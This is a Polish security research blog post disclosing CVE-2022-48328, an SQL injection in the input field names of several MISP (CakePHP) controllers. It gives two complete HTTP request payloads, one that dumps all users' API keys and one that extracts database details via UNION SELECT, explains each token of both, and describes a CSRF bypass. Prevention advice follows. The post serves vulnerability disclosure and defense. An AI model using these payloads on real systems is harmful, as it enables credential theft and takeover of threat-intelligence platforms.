Badanie cyberbezpieczeństwa aplikacji CakePHP – Ukryte na widoku: zagrożenie wstrzyknięcia kodu SQL w nazwach pól wejściowych

Aplikacje webowe stały się nieodłącznym elementem współczesnych przedsiębiorstw, a wraz z ich rosnącym wykorzystaniem, kwestie bezpieczeństwa aplikacji webowych nabrały kluczowego znaczenia. Wśród wielu zagrożeń cybernetycznych, wstrzyknięcie kodu SQL (SQL injection) jest jedną z najpoważniejszych podatności, mogącą prowadzić do ujawnienia poufnych danych, a nawet do całkowitego przejęcia kontroli nad systemem.
W tym artykule omówimy podatność SQL injection, którą odkryliśmy w aplikacji MISP i która została zidentyfikowana jako CVE-2022-48328. MISP wykorzystuje framework CakePHP, a podatność ta wynika z błędów w kodzie PHP, co oznacza, że jest to luka specyficzna dla PHP.
Krótko o MISP
MISP (Malware Information Sharing Platform) to platforma open-source służąca do wymiany informacji o zagrożeniach cybernetycznych między organizacjami. Umożliwia użytkownikom dzielenie się danymi dotyczącymi cyberzagrożeń, takimi jak wskaźniki kompromitacji, próbki złośliwego oprogramowania czy schematy ataków. Dodatkowo, MISP oferuje API, które pozwala deweloperom na integrację platformy z innymi narzędziami bezpieczeństwa.
Ze względu na krytyczny charakter danych przechowywanych w MISP, opisana podatność w PHP stanowi poważne zagrożenie dla poufności, integralności i dostępności informacji.
Jak każde oprogramowanie, MISP nie jest wolny od ryzyka związanego z bezpieczeństwem, a jednym z najistotniejszych zagrożeń jest SQL Injection. W dalszej części artykułu wyjaśnimy, czym jest SQL Injection, jaką rolę odgrywają komponenty CRUD, przedstawimy szczegóły podatności CVE-2022-48328 oraz omówimy sposoby zapobiegania atakom typu SQL Injection.
Czym jest SQL injection?
SQL Injection to podatność aplikacji webowych, która występuje, gdy atakujący wstrzykuje złośliwy kod SQL do zapytania SQL wykorzystywanego przez aplikację. Może to nastąpić poprzez wprowadzenie specjalnie spreparowanych danych wejściowych w formularzu internetowym lub manipulację parametrami zapytania.
Jeśli aplikacja nie waliduje i nie oczyszcza poprawnie danych wejściowych, złośliwy kod SQL może zostać wykonany przez bazę danych. W efekcie atakujący może uzyskać nieautoryzowany dostęp do danych, manipulować informacjami, a nawet przejąć pełną kontrolę nad aplikacją i serwerem bazodanowym.

Czym jest komponent CRUD?
CRUD (Create, Read, Update, Delete) to zestaw podstawowych operacji wykorzystywanych w aplikacjach bazodanowych. Umożliwiają one:
- Tworzenie (Create) – dodawanie nowych rekordów do bazy danych,
- Odczyt (Read) – pobieranie istniejących rekordów,
- Aktualizację (Update) – modyfikację zapisanych danych,
- Usuwanie (Delete) – kasowanie niepotrzebnych rekordów.
Komponenty CRUD stanowią kluczowy element większości aplikacji webowych, które komunikują się z bazami danych.

Na czym polega podatność CVE-2022-48328?
CVE-2022-48328 to podatność SQL Injection, którą odkryliśmy w aplikacji MISP. Występuje ona w kilku kontrolerach korzystających z metody „index” w komponencie CRUD. Dotknięte podatnością kontrolery to:
- AuthKeys
- WorkflowBlueprints
- SharingGroupBlueprints
- CorrelationExclusions
- Roles
- TaxiiServers
- Cerebrates
- Feeds
- Noticelists
- Workflows
Podatność została zidentyfikowana w określonych liniach kodu każdego z tych kontrolerów.

Atakujący posiadający wiedzę na temat technik eksploatacji SQL Injection może wykorzystać metodę „index”, aby wstrzyknąć złośliwe zapytania SQL do aplikacji. W efekcie może uzyskać dostęp do danych w bazie, modyfikować je lub całkowicie przejąć kontrolę nad systemem.
Dlaczego ta podatność w PHP jest wyjątkowa?
Ta podatność typu SQL injection jest wyjątkowa, ponieważ występuje w nazwie pola wejściowego, a nie w jego wartości. Czyni to ją rzadką i trudną do wykrycia oraz zabezpieczenia. Podczas gdy większość deweloperów jest świadoma ryzyka ataków SQL injection w wartościach wejściowych, zagrożenie wynikające z manipulacji nazwami pól wejściowych jest często pomijane.
Atakujący mogą wykorzystać tę podatność, wstrzykując złośliwy kod SQL do nazwy parametru, co pozwala im uzyskać nieautoryzowany dostęp do wrażliwych danych lub nawet przejąć kontrolę nad całą aplikacją. Wykrywanie i zapobieganie SQL injection w nazwach pól wejściowych wymaga dużej dbałości o szczegóły oraz dogłębnej znajomości przepływu danych w aplikacji webowej. Nawet przy zachowaniu ostrożności, podatność ta może zostać przeoczona zarówno podczas ręcznych testów SQL injection, jak i skanowania za pomocą większości dostępnych narzędzi.
Z tego powodu warto przeprowadzać testy penetracyjne typu white box lub badania nad cyberbezpieczeństwem.

Jeśli chcesz kompleksowo zweryfikować bezpieczeństwo swojej aplikacji webowej, zapoznaj się z naszą usługą testowania bezpieczeństwa aplikacji webowych:
Przykładowe scenariusze ataku
Aby zilustrować wpływ tej podatności, przygotowaliśmy dwa scenariusze: kradzież kluczy API użytkowników oraz ekstrakcję informacji o bazie danych. Pozwoli to lepiej zrozumieć rzeczywiste konsekwencje takiej podatności w PHP i wykorzystać te informacje jako wskazówkę do testów podatności na SQL Injection.
Kradzież kluczy API użytkowników
W tym scenariuszu pokażemy, w jaki sposób uwierzytelniony atakujący może wykorzystać podatność, wstrzykując złośliwy kod SQL do żądania POST wysyłanego na endpoint /auth_keys/index
. Wstrzyknięty kod SQL wykonuje się w aplikacji i zwraca szczegóły wszystkich kluczy API znajdujących się w bazie danych, w tym należących do innych użytkowników.
Atakujący z niskopoziomowym dostępem do aplikacji może wykorzystać tę podatność, aby uzyskać nieautoryzowany dostęp do wrażliwych danych, w tym kluczy API innych użytkowników. Może to prowadzić do pełnego przejęcia konta, umożliwiając atakującemu kradzież lub manipulację danymi, zmianę ustawień aplikacji, a nawet wykonanie poleceń na systemie operacyjnym, na którym działa aplikacja.
POST /auth_keys/index HTTP/1.1 Host: misp.local Cookie: MISP-af1eb4a0-9e68-4aa5-84ce- c98ddea860f3=e477ak9d8c3b7h6nlcpts7ualhe417ep Content-Type: application/x-www-form-urlencoded Content-Length: 32 Accept: application/json Connection: close uuid%3d"a"/**/OR/**/1%3d1))%23=1
Zanim przejdziemy dalej, przyjrzyjmy się, co dzieje się w tym żądaniu HTTP. W przesłanym ładunku znajduje się ciąg znaków „uuid%3d
„, który jest wysyłany w treści żądania POST. Rozłóżmy go na części:"a"/**/OR/**/1%3d1))%23=1
- Przede wszystkim ten ładunek składa się z dwóch części. Pierwsza część to nazwa pola wejściowego “
uuid%3d
”, a druga to jego wartość “"a"/**/OR/**/1%3d1))%23=
1
”. uuid%3d
: Jest to zakodowana nazwa pola wejściowego, które próbujemy wykorzystać w ataku. W tym przypadku odnosi się do polauuid
."a"
: Druga część nazwy pola wejściowego. W tym miejscu zamykamy oryginalne zapytanie SQL podwójnym cudzysłowem ("
), a następnie dodajemy warunekOR
do klauzuliWHERE
zapytania SQL./**/
: To komentarz SQL, który używamy do zakomentowania spacji między"a"
aOR
. Ma to na celu upewnienie się, że wartość wejściowa jest poprawnie interpretowana jako ciąg znaków i łączy się z warunkiemOR
.OR
: Słowo kluczowe SQL, które określa alternatywny warunek dla klauzuliWHERE
. W tym przypadku stosujemy warunek1=1
, aby zagwarantować, że zwrócone zostaną wszystkie klucze API, a nie tylko te przypisane do bieżącego użytkownika.1%3d1
: Warunek, który zawsze zwróci wartość prawda (TRUE
).1%3d1
to zakodowana forma1=1
, gdzie%3d
reprezentuje znak równości (=
).))%23=1
: Sekwencja znaków zamykająca nasze wstrzyknięte zapytanie SQL i zapobiegająca dalszemu wykonaniu kodu SQL. Podwójne nawiasy zamykają oryginalne zapytanie SQL używane przez aplikację do pobierania danych z bazy.%23
to zakodowany znak#
, który służy do zakomentowania reszty zapytania SQL. Na końcu wartość1
to wartość pola wejściowego w naszym ładunku.
Aby ominąć ochronę CSRF w standardowych żądaniach POST, dodaliśmy nagłówek Accept
z wartością application/json
. Dzięki temu możemy wyodrębnić interesujące nas informacje, jak przedstawiono na rysunku 1.

Rysunek 1 – Klucze API wszystkich użytkowników
Otrzymana odpowiedź JSON zawiera listę prefiksów i sufiksów kluczy API wraz z informacją o ich właścicielu.
Z obiektu „AuthKey” można odczytać różne dane, takie jak identyfikator klucza uwierzytelniającego, UUID, czas utworzenia, czas wygaśnięcia, status „tylko do odczytu”, identyfikator powiązanego użytkownika, komentarz, dozwolone adresy IP oraz znacznik czasu ostatniego użycia klucza. Informacje te mogą być cenne dla atakującego, który chce wykorzystać podatność w systemie uwierzytelniania.
Z kolei obiekt „User” zawiera identyfikator oraz adres e-mail użytkownika powiązanego z danym kluczem uwierzytelniającym. Dane te mogą zostać wykorzystane przez atakującego o niskich uprawnieniach, który próbuje podnieść swój poziom dostępu i przejąć kontrolę nad systemem jako użytkownik uprzywilejowany. W tym scenariuszu napastnik mógłby wstrzyknąć złośliwy kod SQL do żądania POST wysyłanego do endpointu /auth_keys/index, aby uzyskać szczegóły wszystkich kluczy API, w tym kluczy administratora. Ponieważ luka ta może zostać wykorzystana przez użytkowników o ograniczonych uprawnieniach, stanowi ona poważne zagrożenie dla bezpieczeństwa całej aplikacji.
Uzyskanie tej odpowiedzi JSON było wynikiem udanego ataku SQL Injection, który pozwolił na ominięcie mechanizmów kontroli dostępu i wydobycie wrażliwych danych z bazy MISP.
Ten przykład pokazuje tylko częściową ekstrakcję kluczy uwierzytelniających użytkowników MISP. Wykorzystując tę podatność, możliwe jest jednak przejęcie pełnych kluczy API, które w bazie danych przechowywane są w postaci jawnego tekstu.
Eksfiltracja informacji o bazie danych
W tym scenariuszu pokażemy, w jaki sposób atakujący może wydobyć informacje o bazie danych. Możemy wysłać żądanie POST do endpointu /auth_keys/index, wstrzykując złośliwy kod SQL do treści zapytania. Aplikacja wykona ten kod, zwracając cenne informacje o bazie danych.
POST /auth_keys/index HTTP/1.1 Host: misp.local Cookie: MISP-af1eb4a0-9e68-4aa5-84ce- c98ddea860f3=e477ak9d8c3b7h6nlcpts7ualhe417ep Content-Type: application/x-www-form-urlencoded Content-Length: 122 Accept: application/json Connection: close uuid%3d"a"))UNION/**/SELECT/**/111,user(),database(),@@hostname,@@datadir,666,777,888,999,000,111111,version(),131313%23
Podobnie jak w poprzednim przykładzie, zanim przejdziemy dalej, przyjrzyjmy się, co dokładnie dzieje się w tym żądaniu HTTP. W tym konkretnym ładunku w treści żądania POST przesyłany jest ciąg: „uuid%3d"a"))UNION/**/SELECT/**/111,user(),database(),@@hostname,@@datadir,666,777,888,999,000,111111,version(),131313%23
„.
Rozłóżmy go na części:
uuid%3d
: To pierwszy fragment pola wejściowego „uuid”, które próbujemy wykorzystać do ataku."a"))
: Wartość wprowadzana do pola „uuid”. Zamykamy oryginalne zapytanie SQL za pomocą cudzysłowu ("
) i dodajemy nowe zapytanie SQL poprzez UNION. Nawiasy))
zamykają pierwsze zapytanie przed rozpoczęciem kolejnego.UNION
: Słowo kluczowe SQL używane do połączenia naszego zapytania z oryginalnym zapytaniem wykonywanym przez aplikację./**/
: SQL, którego użyliśmy do usunięcia spacji między „UNION”-„SELECT” oraz „SELECT”-„111”. Zostało to zrobione, aby upewnić się, że wartość wejściowa jest prawidłowo interpretowana jako ciąg znaków i łączona z zapytaniem.SELECT
: Określa, które dane chcemy pobrać z bazy.111,user(),database(),@@hostname,@@datadir,666,777,888,999,000,111111,version(),131313:
To pola, które wybraliśmy z bazy danych. W tym przypadku jest to 13 pól: liczba 111, nazwa aktualnego użytkownika, nazwa bieżącej bazy danych, nazwa hosta serwera, katalog danych serwera, liczby 666, 777, 888, 999, 000, liczba 111111, wersja oprogramowania bazy danych oraz liczba 131313. Pola numeryczne zostały celowo użyte, aby dopasować liczbę kolumn do oryginalnego zapytania SELECT. Celem wyboru tych pól jest uzyskanie informacji o serwerze i jego bazie danych, które mogą zostać wykorzystane w dalszych atakach lub w celach demonstracyjnych.- %23: Zakodowany w URL znak
#
, który oznacza początek komentarza w SQL. Zapobiega to wykonaniu reszty oryginalnego zapytania SQL, zapewniając, że wstrzyknięta treść zostanie poprawnie zinterpretowana.
Po otrzymaniu takiego żądania podatna aplikacja webowa skonstruuje zapytanie SQL podobne do poniższego:

Możemy wykorzystać te informacje do planowania dalszych ataków, takich jak próby wykorzystania innych podatności w aplikacji lub bazie danych. Możemy również wyodrębnić dane z bazy, co zostało przedstawione na Rysunku 2.

Rysunek 2 – Eksfiltracja informacji o bazie danych
Co uzyskaliśmy
Odpowiedź serwera zawiera pojedynczy obiekt z dwiema właściwościami: „0” oraz „AuthKey”. Właściwość „0” zawiera typ systemu bazy danych, system operacyjny, na którym działa aplikacja MISP, oraz nazwę wewnętrznego katalogu – wszystko to zostało ujawnione w wyniku wstrzyknięcia zapytania SQL.
Dlaczego to ma znaczenie i do czego można wykorzystać te informacje?
Te informacje są niezwykle istotne, ponieważ umożliwiają zarówno nam, jak i potencjalnemu atakującemu uzyskanie dostępu do wrażliwych danych przechowywanych w bazie aplikacji MISP. Posiadając klucz uwierzytelniający, my lub atakujący moglibyśmy uzyskać nieautoryzowany dostęp do aplikacji, a nawet do podlegającego jej serwera.
Skala i powaga tej podatności są trudne do przecenienia. Atakujący, który przejmie klucz uwierzytelniający, może potencjalnie uzyskać dostęp do całej aplikacji MISP oraz serwera, na którym jest uruchomiona. Oznacza to możliwość nieautoryzowanego dostępu do zdarzeń, atrybutów, grup udostępniania, postów i wielu innych zasobów. Co więcej, atakujący może także przejąć klucz API administratora, co zapewni mu dostęp na poziomie superadmina i pełne przejęcie konta. Taki poziom dostępu może skutkować kradzieżą poufnych danych, modyfikacją informacji, zmianą konfiguracji aplikacji, blokowaniem dostępu dla użytkowników, a nawet całkowitym unieruchomieniem systemu.
Atakujący może również wykorzystać informacje uzyskane z odpowiedzi JSON do przeprowadzenia dodatkowych ataków lub działań rozpoznawczych, takich jak identyfikacja i atakowanie innych podatnych aplikacji webowych oraz serwerów znajdujących się w sieci organizacji.
Przykładowe scenariusze wykorzystania tych informacji przez atakującego:
- Wykorzystanie znanych podatności
Jeśli odpowiedź JSON ujawnia, że docelowy system działa na przestarzałej wersji komponentu posiadającej znaną podatność, atakujący może wykorzystać te informacje do przeprowadzenia ataku na aplikację, potencjalnie uzyskując nieautoryzowany dostęp do samego systemu operacyjnego. - Atakowanie innych aplikacji webowych i serwerów
Jeśli atakujący zidentyfikuje inne aplikacje webowe lub serwery w sieci organizacji, może podjąć próbę ich naruszenia, wykorzystując znane podatności lub przeprowadzając ataki siłowe. - Działania rozpoznawcze
Uzyskując informacje o architekturze systemu, używanym oprogramowaniu i potencjalnych podatnościach, atakujący może lepiej zaplanować kolejne ataki, zarówno na ten system, jak i inne powiązane infrastruktury w sieci organizacji.
Należy podkreślić, że 99% funkcjonalności MISP jest dostępnych wyłącznie dla uwierzytelnionych użytkowników. Oznacza to, że ta podatność nie może zostać wykorzystana przez nieautoryzowanych odwiedzających.
Zapobieganie podatnościom typu SQL Injection
Podatności typu SQL Injection mogą mieć poważny wpływ na bezpieczeństwo organizacji, co zostało zilustrowane powyższymi przykładami. Aby zapobiec tego typu zagrożeniom, organizacje powinny podjąć następujące kroki:
- Walidacja danych wejściowych – wszystkie dane wprowadzane przez użytkowników powinny być walidowane i filtrowane, aby uniemożliwić wykonanie złośliwego kodu.
- Zapytania parametryzowane – organizacje powinny stosować zapytania parametryzowane, aby zapewnić, że dane wejściowe użytkownika nie zostaną wykonane jako kod SQL.
- Ograniczenie dostępu – użytkownicy powinni mieć dostęp jedynie do danych niezbędnych do wykonywania swoich obowiązków, co może ograniczyć skutki ataku SQL Injection.
- Regularne testy bezpieczeństwa – organizacje powinny regularnie przeprowadzać testy bezpieczeństwa, w tym testy na podatności typu SQL Injection, aby wykrywać i eliminować luki zanim zostaną one wykorzystane przez atakujących.

Podsumowanie
Podatności typu SQL Injection stanowią poważne zagrożenie dla bezpieczeństwa organizacji. Odkryta przez nas luka w kontrolerach korzystających z metody „index” komponentu CRUD może być wykorzystana do odczytu lub modyfikacji danych w bazie. W artykule przedstawiliśmy dwa przykłady wpływu tej podatności na organizację – wykradanie kluczy API użytkowników oraz ekstrakcję informacji o bazie danych.
Aby zapobiegać podatnościom typu SQL Injection, organizacje powinny stosować mechanizmy walidacji danych wejściowych, zapytania parametryzowane, ograniczenie dostępu oraz regularne testy bezpieczeństwa.
!Kolejny artykuł poświęcony będzie podatności w PHP związanej z potwierdzeniem hasła i podkreśli znaczenie bezpiecznego programowania aplikacji webowych.

Porozmawiajmy o przeprowadzaniu badań bezpieczeństwa aplikacji internetowej
Umów się na rozmowę z ekspertem ds. cyberbezpieczeństwa
Czy artykuł jest pomocny? Podziel się nim ze swoimi znajomymi.